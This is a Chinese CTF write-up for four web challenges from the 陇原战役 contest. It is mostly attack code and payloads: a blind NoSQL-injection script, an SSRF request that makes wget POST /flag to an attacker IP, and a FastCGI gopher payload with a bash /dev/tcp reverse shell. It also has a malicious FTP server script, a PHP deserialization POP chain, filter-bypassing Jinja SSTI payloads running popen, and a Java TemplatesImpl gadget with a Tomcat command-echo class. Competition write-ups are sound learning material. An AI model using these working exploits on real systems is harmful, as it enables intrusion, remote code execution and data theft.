陇原战役 Web题目WriteUP WP CTF竞赛

本文主要是介绍陇原战役 Web题目WriteUP WP CTF竞赛，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

大家还记得上此次的陇原战役比赛么？今天给大家分享一下上次比赛的Web题目WriteUP！！

Web

CheckIn

审计源码：

package main

import ("fmt""io""time""bytes""regexp""os/exec""plugin""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""github.com/gin-contrib/sessions""github.com/gin-gonic/gin""github.com/gin-contrib/sessions/cookie""github.com/gin-contrib/multitemplate""net/http"
)


type Url struct {Url string `json:"url" binding:"required"`
}

type User struct {Username stringPassword string
}

const MOGODB_URI = "127.0.0.1:27017"


func MiddleWare() gin.HandlerFunc {return func(c *gin.Context) {session := sessions.Default(c)
if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('You are not admin!');window.location.href='/login'</script>")return}
c.Next()}
}


func loginController(c *gin.Context) {
session := sessions.Default(c)if session.Get("username") != nil {c.Redirect(http.StatusFound, "/home")return}username := c.PostForm("username")password := c.PostForm("password")
if username == "" || password == "" {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('The username or password is empty');window.location.href='/login'</script>")return}
conn, err := mgo.Dial(MOGODB_URI)if err != nil {panic(err)}
defer conn.Close()conn.SetMode(mgo.Monotonic, true)
db_table := conn.DB("ctf").C("users")result := User{}err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)
if result.Username == "" {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>")return}
if username == result.Username || password == result.Password {session.Set("username", username)session.Set("password", password)session.Save()c.Redirect(http.StatusFound, "/home")return} else {c.Header("Content-Type", "text/html; charset=utf-8")c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>")return}
}



func proxyController(c *gin.Context) {var url Urlif err := c.ShouldBindJSON(&url); err != nil {c.JSON(500, gin.H{"msg": err})return}re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")if re.MatchString(url.Url) {c.JSON(403, gin.H{"msg": "Url Forbidden"})return}client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})return}defer resp.Body.Close()var buffer [512]byteresult := bytes.NewBuffer(nil)for {n, err := resp.Body.Read(buffer[0:])result.Write(buffer[0:n])if err != nil && err == io.EOF {
break} else if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})return}}c.JSON(http.StatusOK, gin.H{"data": result.String()})
}



func getController(c *gin.Context) {


cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)err := cmd.Run()if err != nil {fmt.Println("error: ", err)}c.String(http.StatusOK, "Nothing")
}




func createMyRender() multitemplate.Renderer {r := multitemplate.NewRenderer()r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")return r
}


func main() {router := gin.Default()router.Static("/static", "./static")
p, err := plugin.Open("sess_init.so")if err != nil {panic(err)}
f, err := p.Lookup("Sessinit")if err != nil {panic(err)}key := f.(func() string)()
storage := cookie.NewStore([]byte(key))router.Use(sessions.Sessions("mysession", storage))router.HTMLRender = createMyRender()router.MaxMultipartMemory = 8 << 20
router.GET("/", func(c *gin.Context) {session := sessions.Default(c)if session.Get("username") != nil {c.Redirect(http.StatusFound, "/home")  return} else {c.Redirect(http.StatusFound, "/login")  return}})
router.GET("/login", func(c *gin.Context) {session := sessions.Default(c)if session.Get("username") != nil {c.Redirect(http.StatusFound, "/home")  return}c.HTML(200, "login", gin.H{"title": "CheckIn",})})
router.GET("/home", MiddleWare(), func(c *gin.Context) {c.HTML(200, "home", gin.H{"title": "CheckIn",})})
router.POST("/proxy", MiddleWare(), proxyController)router.GET("/wget", getController)router.POST("/login", loginController)
_ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080

审计源码我们可知，存在nosql注入，编写脚本盲注admin的密码：

import requests

url = "http://47.117.125.220:8081/login"

headers = {"Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
for i in range(len(res) + 1, 40):if len(res) == i - 1:for c in strings:data = {"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//","password": "123456"}r = requests.post(url=url, headers=headers, data=data)if "Pretend" in r.text:res = c + resprint("[+] " + res)breakelse:print("[-] Failed")break

得到admin的明文密码为：

54a83850073b0f4c6862d5a1d48ea84f

然后直接登陆admin：

然后发现 /proxy 路由存在 ssrf：

func proxyController(c *gin.Context) {var url Urlif err := c.ShouldBindJSON(&url); err != nil {c.JSON(500, gin.H{"msg": err})return}re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")if re.MatchString(url.Url) {c.JSON(403, gin.H{"msg": "Url Forbidden"})return}client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})return}defer resp.Body.Close()var buffer [512]byteresult := bytes.NewBuffer(nil)for {n, err := resp.Body.Read(buffer[0:])result.Write(buffer[0:n])if err != nil && err == io.EOF {
break} else if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})return}}c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

可以访问使用[::]绕过对127.0.0.1的限制然后访问内网。

并且 /wget 路由可以调用 wget 来发送请求，并且我们对其参数可控，那我们可以传入恶意的参数来获取服务器上的文件并外带出来。

所以最终的 payload 如下：

POST: /proxy

{"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}

如下图，得到flag：

EaaasyPHP

题目给了源码：

<?php

class Check {public static $str1 = false;public static $str2 = false;
}


class Esle {public function __wakeup(){Check::$str1 = true;}
}


class Hint {
public function __wakeup(){$this->hint = "no hint";}
public function __destruct(){if(!$this->hint){$this->hint = "phpinfo";($this->hint)();}  }
}


class Bunny {
public function __toString(){if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}file_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}

class Welcome {public function __invoke(){Check::$str2 = true;return "Welcome" . $this->username;}
}

class Bypass {
public function __destruct(){if (Check::$str1) {($this->str4)();} else {throw new Error("Error");}}
}

if (isset($_GET['code'])) {unserialize($_GET['code']);
} else {highlight_file(__FILE__);
}

首先我们发现了file_put_contents，所以首先想到的是写文件，但是这里我做了权限设置，你写不了。

除此之外，我们发现还有一个 Hint 类：

class Hint {
public function __wakeup(){$this->hint = "no hint";}
public function __destruct(){if(!$this->hint){$this->hint = "phpinfo";($this->hint)();}  }
}

我们尝试反序列化读取 phpinfo：

class Hint {

}

echo serialize(new Hint());
// O:4:"Hint":0:{}

发送payload发现执行不了：

这是因为__wakeup会比__destruct优先执行，所以我们要绕过这里的__wakeup，这里我们需要用“Serializable” 的特性绕过__wakeup，详情请看：PHP :: Bug #81151 :: bypass __wakeup

就是将 O 改为 C:

C:4:"Hint":0:{}

如下所示，成功执行 phpinfo：

并且发现当前环境为 FPM/FastCGI。

然后就是通过 file_put_contents 配合 ftp 打内网的fpm 了。

首先使用 Gopherus 生成 Payload：

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后在 VPS 上运行以下脚本，搭建一个恶意的 FTP 服务器：

# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 233))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

开启 nc 监听，等待反弹shell：

然后构造 pop 链触发 Bunny 类中的file_put_contents就行了：

<?php

class Check {public static $str1 = false;public static $str2 = false;
}


class Esle {public function __wakeup(){Check::$str1 = true;}
}


class Hint {
public function __wakeup(){$this->hint = "no hint";}
public function __destruct(){if(!$this->hint){$this->hint = "phpinfo";($this->hint)();}  }
}


class Bunny {
public function __toString(){if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}file_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}

class Welcome {public function __invoke(){Check::$str2 = true;return "Welcome" . $this->username;}
}

class Bypass {
public function __destruct(){if (Check::$str1) {($this->str4)();} else {throw new Error("Error");}}
}

$esle = new Esle();   // 0
$poc = new Bypass();
$poc->str4 = new Welcome();
$poc->str4->username = new Bunny();
$poc->str4->username->filename = "ftp://aaa@47.117.125.220:233/123";
echo urlencode(serialize([$esle,$poc]));

// a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D

最后构造请求发送即可反弹shell了：

/?code=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A32%3A%22ftp%3A%2F%2Faaa%4047.xxx.xxx.220%3A233%2F123%22%3B%7D%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.xxx.xxx.220/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

成功得到flag。

MagicMail

进入题目，是一个可以发送邮件的页面：

发送之前需要去 Settings 中设置你的邮件服务器信息，只能设置host和port：

没法设置用户名和密码。我们可以在自己服务器上用python开一个smtp服务：

python3 -m smtpd -c DebuggingServer -n 0.0.0.0:2333

然后将你的ip和端口填入 settings 中即可：

此时便可以用 /home 路由处来发送邮件了。由于题目的环境是flask，所以我们可以在邮件的 text 中测试 ssti：

点击发送，此时你的服务器上便可拦截到发送的邮件信息：

解base64即可得到以下内容：

如上图可见，确实进行了 6*9 运算，所以确实存在ssti。并且我们可以通过服务器外带来得到注入的结果。

经测试，题目针对ssti过滤了以下字符：

'class', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'u', '.', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', ' ', '_'

相关绕过方法可以查看该文章：https://xz.aliyun.com/t/9584#toc-28

我们可以用 attr 配合 hex 编码键绕过，最终的 payload如下：

{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("ls\x20/")|attr("read")()}}

读取flag：

{{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(137)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("popen")("cat\x20/flag")|attr("read")()}}

ezjaba

考察点：反序列化之后的利用，不出网回显。

注意/BackDoor路由有一个反序列化点的，本来想ban一些rome组件触发的类，结果没有ban完，导致hashset和hashtable可以来绕过直接，反序列化执行代码。

但是该题考察点是反序列化之后的利用，也就是添加了一个toString操作。

所以exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.File;
import java.nio.file.Files;

public class exp {public static void main(String[] args) throws Exception {//TemplatesImpl templates = SerializeUtil.generateTemplatesImpl();byte[] bytecodes = Files.readAllBytes(new File("EvilClass.class").toPath());TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl(bytecodes);ObjectBean delegate = new ObjectBean(Templates.class, tmpl);System.out.println(tools.base64Encode(tools.serialize(delegate)));}
}

EvilClass.java

package com.tctffinal.demo.exp2;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilClass extends AbstractTranslet {public EvilClass() {try {java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);contextField.setAccessible(true);serviceField.setAccessible(true);requestField.setAccessible(true);getHandlerMethod.setAccessible(true);org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();for (int i=0;i<connectors.length;i++) {if (4==connectors[i].getScheme().length()) {org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();for (int j = 0; j < classes.length; j++) {if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");globalField.setAccessible(true);processorsField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);for (int k = 0; k < list.size(); k++) {org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));String cmd =tempRequest.getHeader("cmd");//cmd=whoamiorg.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = request.getResponse().getWriter();java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");usingWriter.setAccessible(true);usingWriter.set(request.getResponse(), Boolean.FALSE);writer.write(output);//输出writer.flush();break;}break;}}}break;}}}catch (Exception e){}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

POST /BackDoor HTTP/1.1
Host: ip:port
cmd: cat /flag
Content-Type: application/x-www-form-urlencoded
Content-Length: 9646

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